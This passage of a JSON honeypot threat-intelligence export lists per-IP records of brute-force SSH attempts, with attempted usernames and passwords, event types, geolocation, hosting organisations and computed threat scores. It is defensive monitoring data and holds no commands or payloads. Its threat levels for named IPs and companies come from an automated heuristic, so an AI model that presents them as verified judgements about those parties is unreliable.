      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T02:56:04.596000+00:00",
        "last_seen_30d": "2026-05-31T00:37:58.022000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "176.65.139.213": {
      "attack_count": 23,
      "first_seen": "2026-05-24T01:06:21.630Z",
      "last_seen": "2026-05-24T12:19:04.349Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "guest",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "guest",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T01:06:21.630000+00:00",
        "last_seen_30d": "2026-05-24T12:20:12.440000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 16
      }
    },
    "104.128.55.234": {
      "attack_count": 20,
      "first_seen": "2026-05-08T19:50:00.324Z",
      "last_seen": "2026-05-08T19:59:06.324Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test"
      ],
      "passwords_attempted": [
        "Security",
        "root123-123",
        "tset",
        "u7y60p9o"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 30455,
      "as_org": "HostVenom LLC",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:13:52.220000+00:00",
        "last_seen_30d": "2026-05-08T20:00:16.063000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12
      }
    },
    "198.12.150.45": {
      "attack_count": 20,
      "first_seen": "2026-05-11T11:00:28.189Z",
      "last_seen": "2026-05-11T11:16:37.920Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T11:00:28.189000+00:00",
        "last_seen_30d": "2026-05-11T11:17:40.315000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 17
      }
    },
    "108.181.11.139": {
      "attack_count": 18,
      "first_seen": "2026-05-08T04:09:53.261Z",
      "last_seen": "2026-05-17T21:33:51.118Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:09:53.261000+00:00",
        "last_seen_30d": "2026-05-17T21:34:54.220000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "14.171.171.112": {
      "attack_count": 18,
      "first_seen": "2026-05-12T03:04:42.623Z",
      "last_seen": "2026-05-12T03:11:08.206Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:04:42.623000+00:00",
        "last_seen_30d": "2026-05-12T03:12:10.041000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 16
      }
    },
    "185.113.141.117": {
      "attack_count": 18,
      "first_seen": "2026-05-12T13:26:14.507Z",
      "last_seen": "2026-05-13T15:42:09.402Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Lisbon",
      "asn": 204094,
      "as_org": "Web Solutions, Lda",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T13:26:14.507000+00:00",
        "last_seen_30d": "2026-05-13T15:43:17.923000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "101.56.185.206": {
      "attack_count": 8,
      "first_seen": "2026-05-10T05:43:55.515Z",
      "last_seen": "2026-05-10T05:52:44.142Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 210278,
      "as_org": "Sky Italia srl",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T05:43:55.515000+00:00",
        "last_seen_30d": "2026-05-10T05:53:55.787000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "168.144.16.48": {
      "attack_count": 6,
      "first_seen": "2026-05-07T01:23:40.515Z",
      "last_seen": "2026-05-07T01:23:40.793Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T01:10:17.975000+00:00",
        "last_seen_30d": "2026-05-07T01:24:46.808000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6
      }
    },
    "210.79.190.251": {
      "attack_count": 6,
      "first_seen": "2026-05-18T00:50:17.425Z",
      "last_seen": "2026-05-18T00:50:23.945Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T00:50:17.425000+00:00",
        "last_seen_30d": "2026-05-18T00:51:32.801000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "223.151.74.237": {
      "attack_count": 6,
      "first_seen": "2026-05-23T07:02:30.916Z",
      "last_seen": "2026-05-23T13:24:25.400Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:02:30.916000+00:00",
        "last_seen_30d": "2026-05-23T13:25:33.876000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "60.21.134.178": {
      "attack_count": 6,
      "first_seen": "2026-05-12T15:12:19.638Z",
      "last_seen": "2026-05-12T15:12:28.481Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-12T15:12:19.638000+00:00",
        "last_seen_30d": "2026-05-12T15:13:37.767000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "94.102.51.15": {
      "attack_count": 6,
      "first_seen": "2026-05-09T22:47:09.052Z",
      "last_seen": "2026-05-09T22:47:14.992Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "nil"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T22:47:09.052000+00:00",
        "last_seen_30d": "2026-05-09T22:48:16.894000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "103.190.67.26": {
      "attack_count": 4,
      "first_seen": "2026-05-22T06:26:04.633Z",
      "last_seen": "2026-05-22T07:45:34.941Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137172,
      "as_org": "ALL CONNECT NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T06:26:04.633000+00:00",
        "last_seen_30d": "2026-05-22T07:46:44.351000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "138.219.21.101": {
      "attack_count": 4,
      "first_seen": "2026-05-23T22:30:06.397Z",
      "last_seen": "2026-05-23T22:34:07.871Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ribeir\u00e3ozinho",
      "asn": 263937,
      "as_org": "Hi Tech Net Ltda - ME",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T22:30:06.397000+00:00",
        "last_seen_30d": "2026-05-23T22:35:21.110000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "144.172.101.108": {
      "attack_count": 4,
      "first_seen": "2026-05-10T23:41:13.427Z",
      "last_seen": "2026-05-10T23:41:13.615Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 61.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.0,
        "persistence": 12.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 496,
        "days_active_30d": 15,
        "ports_targeted_30d": 57,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-09T03:53:53.942000+00:00",
        "last_seen_30d": "2026-05-23T02:28:00.640000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 314,
        "Honeytrap": 140,
        "Tanner": 12,
        "Sentrypeer": 11,
        "H0neytr4p": 8,
        "Cowrie": 4,
        "Dionaea": 4,
        "Ciscoasa": 2,
        "Honeyaml": 1
      }
    },
    "2.57.122.193": {
      "attack_count": 4,
      "first_seen": "2026-05-12T16:04:24.654Z",
      "last_seen": "2026-05-12T16:04:26.186Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:04:24.654000+00:00",
        "last_seen_30d": "2026-05-12T16:05:36.149000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "65.49.1.131": {
      "attack_count": 4,
      "first_seen": "2026-05-03T15:45:35.682Z",
      "last_seen": "2026-05-03T15:45:39.683Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 80.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 16.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 29,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T00:34:56.590000+00:00",
        "last_seen_30d": "2026-05-31T04:38:37.850000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "Honeytrap": 8,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "89.248.168.239": {
      "attack_count": 4,
      "first_seen": "2026-05-25T06:11:14.193Z",
      "last_seen": "2026-05-25T08:14:45.631Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-23T15:56:20.286000+00:00",
        "last_seen_30d": "2026-05-25T08:15:47.428000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "91.231.89.245": {
      "attack_count": 4,
      "first_seen": "2026-05-30T00:25:11.824Z",
      "last_seen": "2026-05-30T00:25:12.588Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 75.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 29,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T06:27:38+00:00",
        "last_seen_30d": "2026-05-30T00:26:14.759000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 27,
        "Cowrie": 4
      }
    },
    "98.81.162.40": {
      "attack_count": 4,
      "first_seen": "2026-05-13T00:50:46.323Z",
      "last_seen": "2026-05-13T00:50:52.061Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 15.0,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 18,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-07T01:04:20.053000+00:00",
        "last_seen_30d": "2026-05-24T01:03:44.178000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Ciscoasa": 1,
        "Honeytrap": 1
      }
    },
    "47.85.204.185": {
      "attack_count": 3,
      "first_seen": "2026-05-15T05:57:04.848Z",
      "last_seen": "2026-05-15T05:58:09.229Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T05:57:04.848000+00:00",
        "last_seen_30d": "2026-05-15T05:59:11.963000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "95.214.9.217": {
      "attack_count": 3,
      "first_seen": "2026-05-10T13:30:48.279Z",
      "last_seen": "2026-05-10T13:31:49.278Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 204339,
      "as_org": "First Server Limited",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T13:30:48.279000+00:00",
        "last_seen_30d": "2026-05-10T13:32:58.757000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "1.2.135.16": {
      "attack_count": 2,
      "first_seen": "2026-05-28T08:35:23.307Z",
      "last_seen": "2026-05-28T08:35:36.255Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Sakon Nakhon",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T08:35:23.307000+00:00",
        "last_seen_30d": "2026-05-28T08:36:40.362000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.155.131.89": {
      "attack_count": 2,
      "first_seen": "2026-05-03T22:07:26.475Z",
      "last_seen": "2026-05-03T22:07:40.377Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 141480,
      "as_org": "Haash Media",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T22:07:26.475000+00:00",
        "last_seen_30d": "2026-05-03T22:08:47.016000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.24.32.18": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:24:10.032Z",
      "last_seen": "2026-05-22T23:24:22.650Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 9674,
      "as_org": "Far EastTone Telecommunication Co., Ltd.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:24:10.032000+00:00",
        "last_seen_30d": "2026-05-22T23:25:29.571000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.204.154.36": {
      "attack_count": 2,
      "first_seen": "2026-05-12T12:45:33.955Z",
      "last_seen": "2026-05-12T12:47:33.970Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Antipolo City",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T12:45:33.955000+00:00",
        "last_seen_30d": "2026-05-12T12:49:03.803000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "115.216.98.241": {
      "attack_count": 2,
      "first_seen": "2026-05-23T18:21:30.747Z",
      "last_seen": "2026-05-23T18:21:42.785Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
